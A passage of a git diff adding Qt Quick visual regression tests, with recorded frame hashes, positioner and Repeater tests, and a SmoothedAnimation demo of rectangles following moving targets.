+ Frame {
+ msec: 288
+ hash: "c98a904eb5da750f4cabf787e253b2ec"
+ }
+ Frame {
+ msec: 304
+ hash: "c98a904eb5da750f4cabf787e253b2ec"
+ }
+ Frame {
+ msec: 320
+ hash: "c98a904eb5da750f4cabf787e253b2ec"
+ }
+ Frame {
+ msec: 336
+ hash: "c98a904eb5da750f4cabf787e253b2ec"
+ }
+ Frame {
+ msec: 352
+ hash: "c98a904eb5da750f4cabf787e253b2ec"
+ }
+ Frame {
+ msec: 368
+ hash: "c98a904eb5da750f4cabf787e253b2ec"
+ }
+ Frame {
+ msec: 384
+ hash: "c98a904eb5da750f4cabf787e253b2ec"
+ }
+ Frame {
+ msec: 400
+ hash: "c98a904eb5da750f4cabf787e253b2ec"
+ }
+ Frame {
+ msec: 416
+ hash: "c98a904eb5da750f4cabf787e253b2ec"
+ }
+ Frame {
+ msec: 432
+ hash: "c98a904eb5da750f4cabf787e253b2ec"
+ }
+ Frame {
+ msec: 448
+ hash: "c98a904eb5da750f4cabf787e253b2ec"
+ }
+ Frame {
+ msec: 464
+ hash: "c98a904eb5da750f4cabf787e253b2ec"
+ }
+ Frame {
+ msec: 480
+ hash: "c98a904eb5da750f4cabf787e253b2ec"
+ }
+ Frame {
+ msec: 496
+ hash: "c98a904eb5da750f4cabf787e253b2ec"
+ }
+ Frame {
+ msec: 512
+ hash: "c98a904eb5da750f4cabf787e253b2ec"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepositioners/dynamic.qml b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/dynamic.qml
new file mode 100644
index 00000000..b5685d1a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/dynamic.qml
@@ -0,0 +1,70 @@
+import QtQuick 1.0
+
+Item {
+ property string skip: "Expected to fail until QTBUG-14839 is resolved"
+ width: 120; height: 60;
+ property int step: 0
+ function tick()
+ {
+ step++;
+ if(step == 1){
+ //row1.destroy(); //Not dynamically created, so is this valid?
+ }else if(step == 2){
+ r2a.destroy();
+ }else if(step == 3){
+ r2b.destroy();
+ }else if(step == 4){
+ r2c.destroy();
+ }else if(step == 5){
+ r3a.parent = row2;
+ }else if(step == 6){
+ r3b.parent = row2;
+ }else if(step == 7){
+ r3c.parent = row2;
+ }else if(step == 8){
+ //row3.destroy();//empty now, so should have no effect//May be invalid, but was deleting the reparent items at one point
+ }else{
+ repeater.model++;
+ }
+ }
+
+ //Tests base positioner functionality, so don't need them all.
+ Column{
+ move: Transition{NumberAnimation{properties:"y"}}
+ Row{
+ id: row1
+ height: childrenRect.height
+ Rectangle{id: r1a; width:20; height:20; color: "red"}
+ Rectangle{id: r1b; width:20; height:20; color: "green"}
+ Rectangle{id: r1c; width:20; height:20; color: "blue"}
+ }
+ Row{
+ id: row2
+ height: childrenRect.height
+ move: Transition{NumberAnimation{properties:"x"}}
+ Repeater{
+ id: repeater
+ model: 0;
+ delegate: Component{ Rectangle { color: "yellow"; width:20; height:20;}}
+ }
+ Rectangle{id: r2a; width:20; height:20; color: "red"}
+ Rectangle{id: r2b; width:20; height:20; color: "green"}
+ Rectangle{id: r2c; width:20; height:20; color: "blue"}
+ }
+ Row{
+ move: Transition{NumberAnimation{properties:"x"}}
+ id: row3
+ height: childrenRect.height
+ Rectangle{id: r3a; width:20; height:20; color: "red"}
+ Rectangle{id: r3b; width:20; height:20; color: "green"}
+ Rectangle{id: r3c; width:20; height:20; color: "blue"}
+ }
+ }
+ Timer{
+ interval: 250;
+ running: true;
+ repeat: true;
+ onTriggered: tick();
+ }
+}
+
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepositioners/usingRepeater.qml b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/usingRepeater.qml
new file mode 100644
index 00000000..c236b6a7
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/usingRepeater.qml
@@ -0,0 +1,16 @@
+import QtQuick 1.0
+
+Item{
+ width: 40; height: 320
+ Column{
+ Rectangle{color:"Red"; width:40; height:40;}
+ Repeater{
+ id: rep
+ model: 3
+ delegate: Component{Rectangle{color:"Green"; width:40; height:40; radius: 20;}}
+ }
+ Rectangle{color:"Blue"; width:40; height:40;}
+ }
+ Timer{ interval: 250; running: true; onTriggered: rep.model=6;}
+ Timer{ interval: 500; running: true; onTriggered: Qt.quit();}
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/smoothedfollow.0.png b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/smoothedfollow.0.png
new file mode 100644
index 00000000..dd380195
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/smoothedfollow.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/smoothedfollow.1.png b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/smoothedfollow.1.png
new file mode 100644
index 00000000..d7490809
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/smoothedfollow.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/smoothedfollow.2.png b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/smoothedfollow.2.png
new file mode 100644
index 00000000..57a3ae0e
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/smoothedfollow.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/smoothedfollow.3.png b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/smoothedfollow.3.png
new file mode 100644
index 00000000..3a75ec4a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/smoothedfollow.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/smoothedfollow.qml b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/smoothedfollow.qml
new file mode 100644
index 00000000..14280a08
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/data/smoothedfollow.qml
@@ -0,0 +1,795 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "smoothedfollow.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "1d0005639ad631a4f88fb2372b955741"
+ }
+ Frame {
+ msec: 48
+ hash: "b303c2fb08eb8158c322719d072deb06"
+ }
+ Frame {
+ msec: 64
+ hash: "4b3d7a5b9b5f1a335e81e3aafce2a244"
+ }
+ Frame {
+ msec: 80
+ hash: "33d144e82787ac28f9012105645f5eb8"
+ }
+ Frame {
+ msec: 96
+ hash: "b6e16400c1364241da2fc12810780b9b"
+ }
+ Frame {
+ msec: 112
+ hash: "e32e552a0ac9e517df2826d82ed3e483"
+ }
+ Frame {
+ msec: 128
+ hash: "855e317677189a8aa97909ac5c7a831c"
+ }
+ Frame {
+ msec: 144
+ hash: "cddb47ce0a793dc74c6cbc2b3fb138d0"
+ }
+ Frame {
+ msec: 160
+ hash: "21932fa377c6c9652eb22bbae4bf7d23"
+ }
+ Frame {
+ msec: 176
+ hash: "95adc0bfe18070001d531a36785af2a2"
+ }
+ Frame {
+ msec: 192
+ hash: "b3c39dc57a658b1ff7c24194a4214696"
+ }
+ Frame {
+ msec: 208
+ hash: "d145d38d45f824f3dd2f43eddf38d310"
+ }
+ Frame {
+ msec: 224
+ hash: "dee8ad57b625965d3045089d5f6e80aa"
+ }
+ Frame {
+ msec: 240
+ hash: "94263216e2b0ab77980b3cc0b42350a6"
+ }
+ Frame {
+ msec: 256
+ hash: "a9ea122b9b67428f9d28368ffb862c37"
+ }
+ Frame {
+ msec: 272
+ hash: "d1101c25521fd2308ccbe5ec318d9922"
+ }
+ Frame {
+ msec: 288
+ hash: "e854bb4accb78052ec3df32a80d29a94"
+ }
+ Frame {
+ msec: 304
+ hash: "10898f94cc74a888fc57f76897a56b2a"
+ }
+ Frame {
+ msec: 320
+ hash: "65668c114d62e3e901953c9aca9fe276"
+ }
+ Frame {
+ msec: 336
+ hash: "a67cd21b3c451134961d5890b05cff49"
+ }
+ Frame {
+ msec: 352
+ hash: "40fbf54e37f46dce2aeda74ed6815e42"
+ }
+ Frame {
+ msec: 368
+ hash: "dc86af89de1edce0986c6e1a56bd0e21"
+ }
+ Frame {
+ msec: 384
+ hash: "b9700d510fe9b936d60a0ef22b1a4d23"
+ }
+ Frame {
+ msec: 400
+ hash: "620edf9a854b1f32911b4af69be95076"
+ }
+ Frame {
+ msec: 416
+ hash: "28d9670eb3dea66506affaf8b8672c52"
+ }
+ Frame {
+ msec: 432
+ hash: "9deaf655b9e71dc835377526c5ae7d96"
+ }
+ Frame {
+ msec: 448
+ hash: "a19709d7bf37fd126f15da386527d0f8"
+ }
+ Frame {
+ msec: 464
+ hash: "32dbd7c98038abf3775a2c788a687b27"
+ }
+ Frame {
+ msec: 480
+ hash: "d1a22b8e8cbd429dc0e8bc22bfce5d4b"
+ }
+ Frame {
+ msec: 496
+ hash: "04a48f9f304a614535821f1278950789"
+ }
+ Frame {
+ msec: 512
+ hash: "ba26b58e109d5b63e972e4acd7229162"
+ }
+ Frame {
+ msec: 528
+ hash: "b92d3329f744c7de158a472b8b542437"
+ }
+ Frame {
+ msec: 544
+ hash: "c44139265be3def1cc73ea7198a64537"
+ }
+ Frame {
+ msec: 560
+ hash: "6f211c82a64c7e0ef2e7700359ac226e"
+ }
+ Frame {
+ msec: 576
+ hash: "1690781b90e6e4ad264db76943d3b6d2"
+ }
+ Frame {
+ msec: 592
+ hash: "2ab7e97b7426843f2488121fdda87b48"
+ }
+ Frame {
+ msec: 608
+ hash: "91fe6ed4d44d69e9ce79aa3636faf0cb"
+ }
+ Frame {
+ msec: 624
+ hash: "9b4638d2eb6ecc0b50c30e74dc4b098e"
+ }
+ Frame {
+ msec: 640
+ hash: "0e18542d1b5b887eaf22f936adb38bd0"
+ }
+ Frame {
+ msec: 656
+ hash: "f4a123a8811654d033c3613a80a8f3f7"
+ }
+ Frame {
+ msec: 672
+ hash: "14edd1cf660429e95c55ae81ce57d05d"
+ }
+ Frame {
+ msec: 688
+ hash: "1114235b75e814b80b70ce4109a0b6f3"
+ }
+ Frame {
+ msec: 704
+ hash: "8ed2a94fab38d951325bbf79597134c6"
+ }
+ Frame {
+ msec: 720
+ hash: "315a34cfe26778d86cadceea78fd15f6"
+ }
+ Frame {
+ msec: 736
+ hash: "4a95ae04f498f93bf19ab2bc45c0be21"
+ }
+ Frame {
+ msec: 752
+ hash: "d241f7cfdfd241facb0b7f7a3d328d01"
+ }
+ Frame {
+ msec: 768
+ hash: "fae3040a9e0b2f9c76cc26bda47e04e9"
+ }
+ Frame {
+ msec: 784
+ hash: "a444297639db23413810b2df5c47ed9c"
+ }
+ Frame {
+ msec: 800
+ hash: "8084ee95169c3176af563fc4cc033332"
+ }
+ Frame {
+ msec: 816
+ hash: "8f6ac972fb537f496a69f7bde0e8bc22"
+ }
+ Frame {
+ msec: 832
+ hash: "b7e632bc5c8a0a0c5d2b752e581ff5db"
+ }
+ Frame {
+ msec: 848
+ hash: "341c29c41dc1d938dcf5d94d20ff9160"
+ }
+ Frame {
+ msec: 864
+ hash: "2c7eb6f2974c6520bc2fbbb65c118124"
+ }
+ Frame {
+ msec: 880
+ hash: "8dd08316d3d4b17bd3d656dff2b69019"
+ }
+ Frame {
+ msec: 896
+ hash: "5c2a7456afbb094671e693df0a5fa37d"
+ }
+ Frame {
+ msec: 912
+ hash: "d169ce70699b020f62bc33160b74887b"
+ }
+ Frame {
+ msec: 928
+ hash: "e67ef3cd8dbcef11cf156b32eb0aae67"
+ }
+ Frame {
+ msec: 944
+ hash: "16d0d8676f754f0e85a3b425a4401c26"
+ }
+ Frame {
+ msec: 960
+ hash: "7681c0a07803c3eadedf05b60acca9be"
+ }
+ Frame {
+ msec: 976
+ image: "smoothedfollow.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "5f87209dc76264d5c259092ccfd0663a"
+ }
+ Frame {
+ msec: 1008
+ hash: "c647b4725e7f1ce05b5b7bd067d54bff"
+ }
+ Frame {
+ msec: 1024
+ hash: "d43d241fa85cadc042ae510fa441d01d"
+ }
+ Frame {
+ msec: 1040
+ hash: "87a4b4fb8981b1ddb765236cd74a9084"
+ }
+ Frame {
+ msec: 1056
+ hash: "607fb5055cc0d5b6e8a1a37134a9686c"
+ }
+ Frame {
+ msec: 1072
+ hash: "9ed861affdaf4de535ff65b26e1fa8ee"
+ }
+ Frame {
+ msec: 1088
+ hash: "cdfbf1d934a46b85c9d7a07e25eb3fee"
+ }
+ Frame {
+ msec: 1104
+ hash: "94cc78c6be827b3f3b3d74d72af5a4db"
+ }
+ Frame {
+ msec: 1120
+ hash: "50cd154de9141528f0417c0e0f0090a9"
+ }
+ Frame {
+ msec: 1136
+ hash: "86e4a163ad5d7d9bee8f513a814fcac2"
+ }
+ Frame {
+ msec: 1152
+ hash: "61b927a9a58264b827ab00c30cddb4c1"
+ }
+ Frame {
+ msec: 1168
+ hash: "e50d30e42cb035e52cf88664182b7ac1"
+ }
+ Frame {
+ msec: 1184
+ hash: "33a45c3ab72e3e582ef0e4a759064050"
+ }
+ Frame {
+ msec: 1200
+ hash: "323be0228c50a87f380c9b4e5af0c6c0"
+ }
+ Frame {
+ msec: 1216
+ hash: "d82e3de64104096e0cce7bc23d1f3f96"
+ }
+ Frame {
+ msec: 1232
+ hash: "e8872b9d98dff227cb3eb8765cbfa5f5"
+ }
+ Frame {
+ msec: 1248
+ hash: "23ee9e4d9d5388c900072df7fb063164"
+ }
+ Frame {
+ msec: 1264
+ hash: "e23cb4cdcc53a364004a55144ea1af8a"
+ }
+ Frame {
+ msec: 1280
+ hash: "816ee1ba2a5fe2db4ee09cecb8d56c34"
+ }
+ Frame {
+ msec: 1296
+ hash: "d0f01509412d1e4aa192db8aa6dbc50d"
+ }
+ Frame {
+ msec: 1312
+ hash: "ba37ba506ce63c6cda06f23a73c928d9"
+ }
+ Frame {
+ msec: 1328
+ hash: "194a5a791ee5008f585cf215e5cabc26"
+ }
+ Frame {
+ msec: 1344
+ hash: "09c9466b27e57cf936653fdd91e885a8"
+ }
+ Frame {
+ msec: 1360
+ hash: "ee8ef68a1d5cde45431ac233d1cbe191"
+ }
+ Frame {
+ msec: 1376
+ hash: "45f3bede3b5ae8cde9d385746740760e"
+ }
+ Frame {
+ msec: 1392
+ hash: "10ae672c18a84fec45513850797220b5"
+ }
+ Frame {
+ msec: 1408
+ hash: "6d72fb8d4d1f7499b38e4969ae26409b"
+ }
+ Frame {
+ msec: 1424
+ hash: "7c6bf427b0f7aac8c869a0dd83277ca0"
+ }
+ Frame {
+ msec: 1440
+ hash: "1289b04711ef38d4e37161f1385bf4d2"
+ }
+ Frame {
+ msec: 1456
+ hash: "2414780f52880801eea13dc9efba1cb2"
+ }
+ Frame {
+ msec: 1472
+ hash: "37efbf23005659b4f2b29f224c929502"
+ }
+ Frame {
+ msec: 1488
+ hash: "e70091696edf26a8dc8dc51d4932fd86"
+ }
+ Frame {
+ msec: 1504
+ hash: "21e8d0b6eee7bc71ae7ccd05d9bb9280"
+ }
+ Frame {
+ msec: 1520
+ hash: "321553e3e415cf7695d46a90050f8265"
+ }
+ Frame {
+ msec: 1536
+ hash: "235f975c8b382caee2004a8bf9533385"
+ }
+ Frame {
+ msec: 1552
+ hash: "abeeb9ff4c51f2b4ba5c9fee98e72926"
+ }
+ Frame {
+ msec: 1568
+ hash: "d2de1c552fdf4675baccab402100aabb"
+ }
+ Frame {
+ msec: 1584
+ hash: "26d2ac9f31c9181222edda09a4452b5f"
+ }
+ Frame {
+ msec: 1600
+ hash: "8c1ac1872a6720185ec670150e344683"
+ }
+ Frame {
+ msec: 1616
+ hash: "3b792cf960fc8dd6b424ce4c9f2aa0a1"
+ }
+ Frame {
+ msec: 1632
+ hash: "4f0e2dad54e5be44c0345732deae067d"
+ }
+ Frame {
+ msec: 1648
+ hash: "17f21faa9293cfd4ef63fcee9d07f264"
+ }
+ Frame {
+ msec: 1664
+ hash: "0ea885db3c4c5facb96306f1fbf6bc43"
+ }
+ Frame {
+ msec: 1680
+ hash: "a68e7bb730b29b4c3b5468fd7b3d1d4f"
+ }
+ Frame {
+ msec: 1696
+ hash: "719de171d8413f691e4ece4bcb00896c"
+ }
+ Frame {
+ msec: 1712
+ hash: "ee9f5c2bfda6718a23fdd6c8f3f2e765"
+ }
+ Frame {
+ msec: 1728
+ hash: "0f01834bbcfe690e5ee2d5897e5ea225"
+ }
+ Frame {
+ msec: 1744
+ hash: "68af59f35ff14d9ff12a2a05f22cca69"
+ }
+ Frame {
+ msec: 1760
+ hash: "50c9141aae689a8f09acf4d914075299"
+ }
+ Frame {
+ msec: 1776
+ hash: "beb9e30c9b4f0d351c1387c69ea99208"
+ }
+ Frame {
+ msec: 1792
+ hash: "2079cd433d9d29ad330e0782853712c7"
+ }
+ Frame {
+ msec: 1808
+ hash: "de18d8be8fc1414cc19d446c659d1bcd"
+ }
+ Frame {
+ msec: 1824
+ hash: "031807325492a899da9a91a9512487dd"
+ }
+ Frame {
+ msec: 1840
+ hash: "4fdd8f3b01b4b61d269001604144bb7c"
+ }
+ Frame {
+ msec: 1856
+ hash: "1172ec8a63f431f457b9a398b3d03571"
+ }
+ Frame {
+ msec: 1872
+ hash: "4741a14556e9d32c2b180cca9009c63a"
+ }
+ Frame {
+ msec: 1888
+ hash: "ec2c6d187a97037b5c1edea65d4b17cc"
+ }
+ Frame {
+ msec: 1904
+ hash: "ea7d445310c28aa3e07735f1c7db4a28"
+ }
+ Frame {
+ msec: 1920
+ hash: "3424b2d983a8962d9abb232c3d7c7814"
+ }
+ Frame {
+ msec: 1936
+ image: "smoothedfollow.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "c362edcbe4e4460aa18599c05e993312"
+ }
+ Frame {
+ msec: 1968
+ hash: "1a1291338c205ef2d315a43cca1caae2"
+ }
+ Frame {
+ msec: 1984
+ hash: "ff6f0f47955d069a65cf9d19b7a061ff"
+ }
+ Frame {
+ msec: 2000
+ hash: "3a6b787bbfe0510fdc8693a4827043e5"
+ }
+ Frame {
+ msec: 2016
+ hash: "8198a6eec71a6da13b77397f3ead05a3"
+ }
+ Frame {
+ msec: 2032
+ hash: "4c0fcb8d2105f104f6e1db0d58077c01"
+ }
+ Frame {
+ msec: 2048
+ hash: "d9146739fa248ddcb6b4308d125825e7"
+ }
+ Frame {
+ msec: 2064
+ hash: "5bda4f61879d0e9c714f2c138a91f4fd"
+ }
+ Frame {
+ msec: 2080
+ hash: "30c0f8016506edb6875fd4cfa16cfa0f"
+ }
+ Frame {
+ msec: 2096
+ hash: "bc04c5ae627073fcc467b86bea097630"
+ }
+ Frame {
+ msec: 2112
+ hash: "7fcc2f6a7c620202a55618e66ed3c5f9"
+ }
+ Frame {
+ msec: 2128
+ hash: "36f0855b78bbbf08ddf28f7a5775aea8"
+ }
+ Frame {
+ msec: 2144
+ hash: "4acd7d6bceab6c8ba4508f9edddab6e7"
+ }
+ Frame {
+ msec: 2160
+ hash: "2074776f5bd921148a50fad1004c00ea"
+ }
+ Frame {
+ msec: 2176
+ hash: "0d79e1f38609320586831d93d87532a9"
+ }
+ Frame {
+ msec: 2192
+ hash: "0402d99770dd23cbfc051eb576a29b57"
+ }
+ Frame {
+ msec: 2208
+ hash: "456ba4fbe1ff68e1c9e22c9182c98ac6"
+ }
+ Frame {
+ msec: 2224
+ hash: "de41559e07d9e58a68e26cf4daab879f"
+ }
+ Frame {
+ msec: 2240
+ hash: "ad5087eae86c1b2afe5dbbcf8d098b18"
+ }
+ Frame {
+ msec: 2256
+ hash: "117dc7b2e560a6959ef82dc461580620"
+ }
+ Frame {
+ msec: 2272
+ hash: "4ce30665d1e63f728018cddfda1e3249"
+ }
+ Frame {
+ msec: 2288
+ hash: "c1e66d2c554b81631aff66e695e05ee0"
+ }
+ Frame {
+ msec: 2304
+ hash: "293b4c3a8ba18d9000f1a0c35ba3dbed"
+ }
+ Frame {
+ msec: 2320
+ hash: "eefcc0eb3e4847dbf7edc52979c19cfb"
+ }
+ Frame {
+ msec: 2336
+ hash: "1e25f0a629cffa99c3c962c5ce72cba3"
+ }
+ Frame {
+ msec: 2352
+ hash: "e86a378941f876143cf13ef8c161d155"
+ }
+ Frame {
+ msec: 2368
+ hash: "7063d2895353e4e2659e0911f8959a92"
+ }
+ Frame {
+ msec: 2384
+ hash: "d26161aad10ec6d446dbae65bcc73926"
+ }
+ Frame {
+ msec: 2400
+ hash: "3322df938aa5d2ffa32e445ad1f8b1a2"
+ }
+ Frame {
+ msec: 2416
+ hash: "4ce384ace0527cb637865426a42d382f"
+ }
+ Frame {
+ msec: 2432
+ hash: "5f49f970488f457681a9a59e82a1650e"
+ }
+ Frame {
+ msec: 2448
+ hash: "d5494958d0c8f4307506c0b27f4a350c"
+ }
+ Frame {
+ msec: 2464
+ hash: "cebee9854c54f2badef1cfa6b12adc88"
+ }
+ Frame {
+ msec: 2480
+ hash: "9824242313879d9494b561a0a3a7fdc2"
+ }
+ Frame {
+ msec: 2496
+ hash: "a14019028da0d3bf08782bf8285a188c"
+ }
+ Frame {
+ msec: 2512
+ hash: "f241eb27a0460182d08c6e4e1ebbc25b"
+ }
+ Frame {
+ msec: 2528
+ hash: "3b243c79d097f89e5a3f8ece97321026"
+ }
+ Frame {
+ msec: 2544
+ hash: "95755ce577ab0b8ede949851ce842d9d"
+ }
+ Frame {
+ msec: 2560
+ hash: "0cd40a2a4b9d0b7dbba8dff247db178f"
+ }
+ Frame {
+ msec: 2576
+ hash: "b964995f06ab287a98569baab365c475"
+ }
+ Frame {
+ msec: 2592
+ hash: "a28aca3ba953c52ac00fea0c84a6aba9"
+ }
+ Frame {
+ msec: 2608
+ hash: "d45d2eaeab472eaa1bd9460f4464c62b"
+ }
+ Frame {
+ msec: 2624
+ hash: "0872615e2d8d2ec1192ec6e60aff01c7"
+ }
+ Frame {
+ msec: 2640
+ hash: "8724c4128b869be51053deafd68e4e47"
+ }
+ Frame {
+ msec: 2656
+ hash: "8c8e0a8fed148120b2b79d3c6b886651"
+ }
+ Frame {
+ msec: 2672
+ hash: "35357a5689398f6f594ae45743555107"
+ }
+ Frame {
+ msec: 2688
+ hash: "848a069b9e8334482e118ba0df14dc1c"
+ }
+ Frame {
+ msec: 2704
+ hash: "26cb86bd54616c69966d949424d4d41f"
+ }
+ Frame {
+ msec: 2720
+ hash: "437669b1efa8b33ee469547527ccb4d9"
+ }
+ Frame {
+ msec: 2736
+ hash: "ff040bafe5c484d7b516008f17411ad2"
+ }
+ Frame {
+ msec: 2752
+ hash: "fdab8b8cf64a2b15ab07691ca2ad115f"
+ }
+ Frame {
+ msec: 2768
+ hash: "e3867ffaf98270f6efe77d816a8254cb"
+ }
+ Frame {
+ msec: 2784
+ hash: "cbad5ba7c09567166f063955b45aa647"
+ }
+ Frame {
+ msec: 2800
+ hash: "336049bb4ff2e945483648feabe997c2"
+ }
+ Frame {
+ msec: 2816
+ hash: "45e65f29cc932090a3bfc2292c4e5e72"
+ }
+ Frame {
+ msec: 2832
+ hash: "d617d33fe22196f88844a7adc5305413"
+ }
+ Frame {
+ msec: 2848
+ hash: "fb32358f314d9cd6ac6646888f402b46"
+ }
+ Frame {
+ msec: 2864
+ hash: "2897322c869a0bd7a851ff779c8591bf"
+ }
+ Frame {
+ msec: 2880
+ hash: "c41d71d62727f0fc26dc790f09c67168"
+ }
+ Frame {
+ msec: 2896
+ image: "smoothedfollow.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "b5c2182ce797d91175d9f7493a77aae8"
+ }
+ Frame {
+ msec: 2928
+ hash: "4436d56d8dba299619be367cf57dc41d"
+ }
+ Frame {
+ msec: 2944
+ hash: "fe2d68f672a78568da1a281be13eda36"
+ }
+ Frame {
+ msec: 2960
+ hash: "90731590c28f254a213f83f83b988608"
+ }
+ Frame {
+ msec: 2976
+ hash: "e276149e000e768a5b2704fde77bff2b"
+ }
+ Frame {
+ msec: 2992
+ hash: "616b2d32f6b0f047a252f0b698408d87"
+ }
+ Frame {
+ msec: 3008
+ hash: "ebd003e7712060ec45d7be9bebb9ab8f"
+ }
+ Frame {
+ msec: 3024
+ hash: "d97b14eb1fe9556b283b5d7b35f30fcc"
+ }
+ Frame {
+ msec: 3040
+ hash: "a926b60b28442c4318fb3c2c5474540c"
+ }
+ Frame {
+ msec: 3056
+ hash: "7908c0356da3bc27d2513c843a0d4feb"
+ }
+ Frame {
+ msec: 3072
+ hash: "48644d6fb0dbd280b806c991b3b72417"
+ }
+ Frame {
+ msec: 3088
+ hash: "4efbb4954b2d2c26f3e32f9f1bba6b41"
+ }
+ Frame {
+ msec: 3104
+ hash: "d9c5e5ca5d6c1189740706673abab943"
+ }
+ Frame {
+ msec: 3120
+ hash: "d0acc9b7ee97220e551df16e0c3d1f53"
+ }
+ Frame {
+ msec: 3136
+ hash: "2610d1de5d32e74ab8fd238cd721ef2e"
+ }
+ Frame {
+ msec: 3152
+ hash: "b8d1e724d5cb172ab5d7475d2f7a6ee6"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/smoothedfollow.qml b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/smoothedfollow.qml
new file mode 100644
index 00000000..c154aa06
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativesmoothedanimation/smoothedfollow.qml
@@ -0,0 +1,128 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400; height: 360; color: "gray"
+
+ Rectangle {
+ id: rect
+ width: 25; height: 10; y: 15; color: "black"
+ SequentialAnimation on x {
+ loops: Animation.Infinite
+ NumberAnimation { from: 25; to: 350; duration: 1000 }
+ NumberAnimation { from: 350; to: 25; duration: 1000 }
+ }
+ }
+
+ Rectangle {
+ width: 25; height: 10; x: rect.x; y: 30; color: "red"
+ Behavior on x { SmoothedAnimation { velocity: 200 } }
+ }
+
+ Rectangle {
+ width: 25; height: 10; x: rect.x; y: 45; color: "yellow"
+ Behavior on x { SmoothedAnimation { velocity: 150; reversingMode: SmoothedAnimation.Immediate } }
+ }
+
+ Rectangle {
+ width: 25; height: 10; x: rect.x; y: 60; color: "green"
+ Behavior on x { SmoothedAnimation { velocity: 100; reversingMode: SmoothedAnimation.Sync } }
+ }
+
+ Rectangle {
+ width: 25; height: 10; x: rect.x; y: 75; color: "purple"
+ Behavior on x { SmoothedAnimation { velocity: 100; maximumEasingTime: 100 } }
+ }
+
+ Rectangle {
+ width: 25; height: 10; x: rect.x; y: 90; color: "blue"
+ Behavior on x { SmoothedAnimation { velocity: -1; duration: 300 } }
+ }
+
+ //rect2 has jerky movement, but the rects following it should be smooth
+ Rectangle {
+ id: rect2
+ property int dir: 1
+ width: 25; height: 10; x:25; y: 120; color: "black"
+ function advance(){
+ if(x >= 350)
+ dir = -1;
+ if(x <= 25)
+ dir = 1;
+ x += 65.0 * dir;
+ }
+ }
+ Timer{
+ interval: 200
+ running: true
+ repeat: true
+ onTriggered: rect2.advance();
+ }
+
+ Rectangle {
+ width: 25; height: 10; x: rect2.x; y: 135; color: "red"
+ Behavior on x { SmoothedAnimation { velocity: 200 } }
+ }
+
+ Rectangle {
+ width: 25; height: 10; x: rect2.x; y: 150; color: "yellow"
+ Behavior on x { SmoothedAnimation { velocity: 150; reversingMode: SmoothedAnimation.Immediate } }
+ }
+
+ Rectangle {
+ width: 25; height: 10; x: rect2.x; y: 165; color: "green"
+ Behavior on x { SmoothedAnimation { velocity: 100; reversingMode: SmoothedAnimation.Sync } }
+ }
+
+ Rectangle {
+ width: 25; height: 10; x: rect2.x; y: 180; color: "purple"
+ Behavior on x { SmoothedAnimation { velocity: 100; maximumEasingTime: 100 } }
+ }
+
+ Rectangle {
+ width: 25; height: 10; x: rect2.x; y: 195; color: "blue"
+ Behavior on x { SmoothedAnimation { velocity: -1; duration: 300 } }
+ }
+
+ //rect3 just jumps , but the rects following it should be smooth
+ Rectangle {
+ id: rect3
+ width: 25; height: 10; x:25; y: 240; color: "black"
+ function advance(){
+ if(x == 25)
+ x = 350;
+ else
+ x = 25;
+ }
+ }
+ Timer{
+ interval: 1000
+ running: true
+ repeat: true
+ onTriggered: rect3.advance();
+ }
+
+ Rectangle {
+ width: 25; height: 10; x: rect3.x; y: 255; color: "red"
+ Behavior on x { SmoothedAnimation { velocity: 200 } }
+ }
+
+ Rectangle {
+ width: 25; height: 10; x: rect3.x; y: 270; color: "yellow"
+ Behavior on x { SmoothedAnimation { velocity: 150; reversingMode: SmoothedAnimation.Immediate } }
+ }
+
+ Rectangle {
+ width: 25; height: 10; x: rect3.x; y: 285; color: "green"
+ Behavior on x { SmoothedAnimation { velocity: 100; reversingMode: SmoothedAnimation.Sync } }
+ }
+
+ Rectangle {
+ width: 25; height: 10; x: rect3.x; y: 300; color: "purple"
+ Behavior on x { SmoothedAnimation { velocity: 100; maximumEasingTime: 100 } }
+ }
+
+ Rectangle {
+ width: 25; height: 10; x: rect3.x; y: 315; color: "blue"
+ Behavior on x { SmoothedAnimation { velocity: -1; duration: 300 } }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/clock.qml b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/clock.qml
new file mode 100644
index 00000000..0e4e6429
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/clock.qml
@@ -0,0 +1,64 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: clock
+ color: "gray"
